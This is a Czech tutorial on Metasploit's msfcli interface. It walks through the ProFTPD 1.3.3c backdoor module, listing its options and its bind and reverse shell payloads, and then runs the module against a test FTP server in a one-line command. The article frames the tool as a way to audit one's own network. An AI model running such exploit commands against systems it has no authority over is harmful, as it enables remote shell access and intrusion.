Metasploit Framework – Rozhraní příkazové řádky msfcli
Metasploit Framework je open source nástroj pro penetrační testování. S jeho pomocí můžete provádět audit zařízení ve vaší síti. Pro tento audit můžete použít exploity z rozsáhlé databáze samotného Metasploit frameworku, či si napsat exploity vlastní. Metasploit framework poskytuje několik různých uživatelských rozhraní. Kromě interaktivní textové konzole (msfconsole) nabízí i grafické klikací mfsgui. Dříve bylo dostupné také webové rozhraní msfweb, které ale již od verze 3.5 není v Metasploit Framework zahrnuto. Dnešní článek však bude o rozhraní pro příkazovou řádku msfcli.
msfcli
Toto rozhraní je ideální pro použití ve skriptech či pro opakované testování jedné konkrétní zranitelnosti. Jde o to, že nemusíte opakovaně spouštět Metasploit konzoli a zadávat příkaz za příkazem, ale stačí napsat jeden jediný řádek, který si spustíte přímo v Bashi.
Ovládání
Nápovědu dostanete příkazem msfcli -h
$ msfcli -h Usage: /opt/framework-3.6.0/msf3/msfcli <exploit_name> <option=value> [mode] ============================================================================ Mode Description ---- ----------- (H)elp You're looking at it baby! (S)ummary Show information about this module (O)ptions Show available options for this module (A)dvanced Show available advanced options for this module (I)DS Evasion Show available ids evasion options for this module (P)ayloads Show available payloads for this module (T)argets Show available targets for this exploit module (AC)tions Show available actions for this auxiliary module (C)heck Run the check routine of the selected module (E)xecute Execute the selected module
Jako parametry msfcli zadáte exploit, který chcete použít, seznam voleb včetně jejich hodnot a mód ve kterém má být exploit spuštěn.
Seznam dostupných exploitů, včetně krátkého popisu získáte příkazem msfcli bez parametrů.
Pozor! Tento seznam je poměrně dlouhý, takže doporučuji si ho přesměrovat do souboru, nebo využít roury do more, nebo less. Osobně preferuji less:
$ msfcli | less
Detailnější informace o exploitu a jeho volby/parametry
Budeme tedy předpokládat, že jsem si vybrali exploit “exploit/unix/ftp/proftpd_133c_backdoor“, který slouží k využití zadních vrátek v FTP serveru ProFTPD.
Více informací o samotném exploitu získáme příkazem:
$ msfcli exploit/unix/ftp/proftpd_133c_backdoor S [*] Please wait while we load the module tree... Name: ProFTPD-1.3.3c Backdoor Command Execution Module: exploit/unix/ftp/proftpd_133c_backdoor Version: 11214 Platform: Unix Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent [ Výstup byl zkrácen ... ]
Volby exploitu zjistíme připojením znaku ‘O’ (písmeno velké o) na konec příkazu:
$ msfcli exploit/unix/ftp/proftpd_133c_backdoor O [*] Please wait while we load the module tree... Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 21 yes The target port
Nyní tedy víme, že při použití modulu musíme minimálně nastavit adresu cíle, pomocí volby RHOST. Také můžeme nastavit volbu cílového portu pomocí RPORT. Ale tato volba je ve výchozím stavu nastavena na port 21, což je port, na kterém většina FTP serverů naslouchá a tak není třeba jej měnit.
Pokročilejší volby zjistíte připojením znaku ‘A’:
$ msfcli exploit/unix/ftp/proftpd_133c_backdoor A [*] Please wait while we load the module tree... Name : CHOST Current Setting: Description : The local client address Name : CPORT Current Setting: Description : The local client port Name : ConnectTimeout Current Setting: 10 Description : Maximum number of seconds to establish a TCP connection Name : ContextInformationFile Current Setting: Description : The information file that contains context information [ Výstup byl zkrácen ... ]
Pokud exploit podporuje výběr payloadu, tak podporované payloady zjistíme připojením znaku ‘P’:
$ msfcli exploit/unix/ftp/proftpd_133c_backdoor P [*] Please wait while we load the module tree... Compatible payloads =================== Name Description ---- ----------- cmd/unix/bind_perl Listen for a connection and spawn a command shell via perl cmd/unix/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl cmd/unix/generic Executes the supplied command cmd/unix/reverse Creates an interactive shell through two inbound connections cmd/unix/reverse_perl Creates an interactive shell via perl cmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL cmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
Příklad použití
Pokud máte vybraný exploit, víte co vše je mu potřeba nastavit a máte nějaký svůj testovací systém, na kterém tento exploit chcete vyzkoušet, tak už Vám nic nebrání použít volbu E. Příklad použití:
$ msfcli exploit/unix/ftp/proftpd_133c_backdoor RHOST=muj_ftp_server E [*] Please wait while we load the module tree... o 8 o o 8 8 8 ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P 8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8 8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8 8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8 ..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..: ::::::::::::::::::::::::::::::::::8::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: =[ metasploit v3.6.0-release [core:3.6 api:1.0] + -- --=[ 648 exploits - 340 auxiliary + -- --=[ 216 payloads - 27 encoders - 8 nops =[ svn r11889 updated 15 days ago (2011.03.07) Warning: This copy of the Metasploit Framework was last updated 15 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: http://www.metasploit.com/redmine/projects/framework/wiki/Updating RHOST => muj_ftp_server [*] Started reverse double handler [*] Sending Backdoor Command [ Výstup byl zkrácen ... ]